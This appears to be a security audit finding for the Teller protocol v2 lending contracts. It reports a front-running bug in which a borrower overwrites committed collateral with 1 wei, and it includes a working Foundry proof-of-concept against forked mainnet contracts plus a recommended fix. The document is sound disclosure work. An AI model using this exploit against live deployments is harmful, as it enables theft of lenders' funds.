evmboi32

high

# Bidder can trick lender into accepting less collateral then agreed

## Summary
Bidder can **front run** the **lenderAcceptBid** call by the lender with the **commitCollateral** call and provide almost no collateral. 
## Vulnerability Detail
The main problem is that the commitCollateral **doesn't check the return value** when adding a new address in the enumerable set.
This function is invoked when calling commitCollateral

```solidity
    function _commitCollateral(
        uint256 _bidId,
        Collateral memory _collateralInfo
    ) internal virtual {
        CollateralInfo storage collateral = _bidCollaterals[_bidId];
        collateral.collateralAddresses.add(_collateralInfo._collateralAddress);
        collateral.collateralInfo[
            _collateralInfo._collateralAddress
        ] = _collateralInfo;
        emit CollateralCommitted(
            _bidId,
            _collateralInfo._collateralType,
            _collateralInfo._collateralAddress,
            _collateralInfo._amount,
            _collateralInfo._tokenId
        );
    }
```

As we can see this function calls the **.add** function on the set to add a new entry. But what happens if that entry is already in the set? The add function calls the internal **_add function below**.
```solidity
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
```
As we can see the function will return false if the element is already included in the set. This can be exploited in the following way.
1. Bidder posts a bid claiming to provide **1 WETH** collateral to borrow X of some token. This is done by calling submitBid function
2. Lender checks the bid details and decides that he wants to lend tokens to the bidder and calls the **lenderAcceptBid** function.
3. Bidder sees that tx in the mempool and **front runs** it with the commitCollateral call. As parameters, he sets the WETH address for the collateral and the amount as **1 wei**. 
4. The _commitCollateral function will try to add the "new" token in the set. But since the WETH is already in the set the add function call will return false and the collateral.collateralInfo **will be updated** with the new value of 1 wei.

This will allow borrower to **trick the lender** into accepting only 1 wei of collateral although they agreed to 1 WETH before. Since the borrower has no collateral to be liquidated and no loan to repay he just got **free money**. 

POC: 
This test can be added under teller-protocol-v2/packages/contracts/tests/TellerV2/TellerV2CommitCollateralBug.sol

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { StdStorage, stdStorage } from "forge-std/StdStorage.sol";
import "lib/forge-std/src/console.sol";

import { Testable } from "../Testable.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "../../contracts/TellerV2.sol";
import "../../contracts/CollateralManager.sol";
import { Collateral, CollateralType } from "../../contracts/interfaces/escrow/ICollateralEscrowV1.sol";

contract TellerV2CommitCollateralBug is Testable {
    TellerV2 teller;
    CollateralManager collateralManager;

    // addresses of verified bidder and lender for _marketplaceId = 2 - found from etherscan
    address bidder = 0xd96Ef5ed7F6978C18f4f26113759dCC20Ab7C28B;
    address lender = 0x3e4DD7e5C37fe838EaFFc89a551e1c311b7d14F8;

    ERC20 usdc = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    ERC20 weth = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function testFrontrunAcceptBid() public {
        uint256 _marketplaceId = 2;
        uint256 _principal = 1000000; // value not relevant for this test
        uint32 _duration = 10368000;  // value not relevant for this test
        uint16 _APR = 600;            // value not relevant for this test

        // Get balances before for bidder
        uint256 balance_weth_bidder_before = weth.balanceOf(bidder);
        uint256 balance_usdc_bidder_before = usdc.balanceOf(bidder);
        
        // mainnet instance of TellerV2 and CollateralManager
        teller = TellerV2(0x00182FdB0B880eE24D428e3Cc39383717677C37e);
        collateralManager = CollateralManager(0x2551A099129ad9b0b1FEc16f34D9CB73c237be8b);

        // Bidder wants to provide 0.001 WETH as collateral
        Collateral memory _collateralInfo = Collateral(
            CollateralType.ERC20,
            0.001 ether, 
            0,
            0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
        );
        
        // Bidder submits bid, commits collateral, and approves weth to collaterMaanger
        vm.startPrank(bidder);
        weth.approve(address(collateralManager), 0.001 ether);
        uint256 bidId = teller.submitBid(
            address(usdc),
            _marketplaceId,
            _principal,
            _duration,
            _APR,
            "abc", // random metadata uri irrelevant
            bidder
        );
        require(collateralManager.commitCollateral(bidId, _collateralInfo));

        // Bidder sees that lender decided to accept a loan and frontruns his transactions with 
        // a new commitColalteral transaction with only 1 wei of collateral. This will overwrite
        // the old value in the collateralInfo
        // explained in more detail in the writeup of the bug
        _collateralInfo._amount = 1;
        collateralManager.commitCollateral(
            bidId,
            _collateralInfo
        );
        vm.stopPrank();

        // Lender accepts bid
        vm.startPrank(lender);
        teller.lenderAcceptBid(bidId);

        // Get balances after for bidder
        uint256 balance_weth_bidder_after = weth.balanceOf(bidder);
        uint256 balance_usdc_bidder_after = usdc.balanceOf(bidder);

        // By looking at the balances we can see that bidder tricked the lender into accepting
        // a loan with 1 wei worth of collateral. This is because the collateralInfo was overwritten by the
        // second commitCollateral transaction
        console.log("------------- BEFORE --------------");
        console.log("%s: %s", "balance_weth_bidder_before", balance_weth_bidder_before);
        console.log("%s: %s", "balance_usdc_bidder_before", balance_usdc_bidder_before);
        console.log("------------- AFTER --------------");
        console.log("%s: %s", "balance_weth_bidder_after", balance_weth_bidder_after);
        console.log("%s: %s", "balance_usdc_bidder_after", balance_usdc_bidder_after);

        console.log("%s: %s", "amount weth spent as collateral", balance_weth_bidder_before - balance_weth_bidder_after);
    }
}
```

Navigate to /teller-protocol-v2/packages/contracts
Run it with ( replace MAINNET_RPC with your web3 provider that has a state from the block number 17101224 )
> forge test --match-contract TellerV2CommitCollateralBug -vv --fork-url MAINNET_RPC --fork-block-number 17101224

Note that the block number chosen was because I was using an approved borrower from the mainnet. The borrower has more than 0.001 WETH (used in the submitBid) in block 17101224. It can also work on other blocks if the borrower still has more than that amount of WETH.
## Impact
The borrower can steal money from the lender
## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/9ba2598c2f386e9138cacc11a31b1b193cfd7aa3/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L138-L147

https://github.com/sherlock-audit/2023-03-teller/blob/9ba2598c2f386e9138cacc11a31b1b193cfd7aa3/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L426-L442

https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/dd8ca8adc47624c5c5e2f4d412f5f421951dcc25/contracts/utils/structs/EnumerableSetUpgradeable.sol#L169-L171

https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/dd8ca8adc47624c5c5e2f4d412f5f421951dcc25/contracts/utils/structs/EnumerableSetUpgradeable.sol#L65-L75

## Tool used
VS Code
Manual Review

## Recommendation
Check the return value of the .add call when adding new addresses in the enumerable set. This will prevent the borrower to update already committed collateral.

```solidity
    function _commitCollateral(
        uint256 _bidId,
        Collateral memory _collateralInfo
    ) internal virtual {
        CollateralInfo storage collateral = _bidCollaterals[_bidId];

+       require(collateral.collateralAddresses.add(_collateralInfo._collateralAddress), "Collateral already added");
        collateral.collateralInfo[
            _collateralInfo._collateralAddress
        ] = _collateralInfo;
        emit CollateralCommitted(
            _bidId,
            _collateralInfo._collateralType,
            _collateralInfo._collateralAddress,
            _collateralInfo._amount,
            _collateralInfo._tokenId
        );
    }
```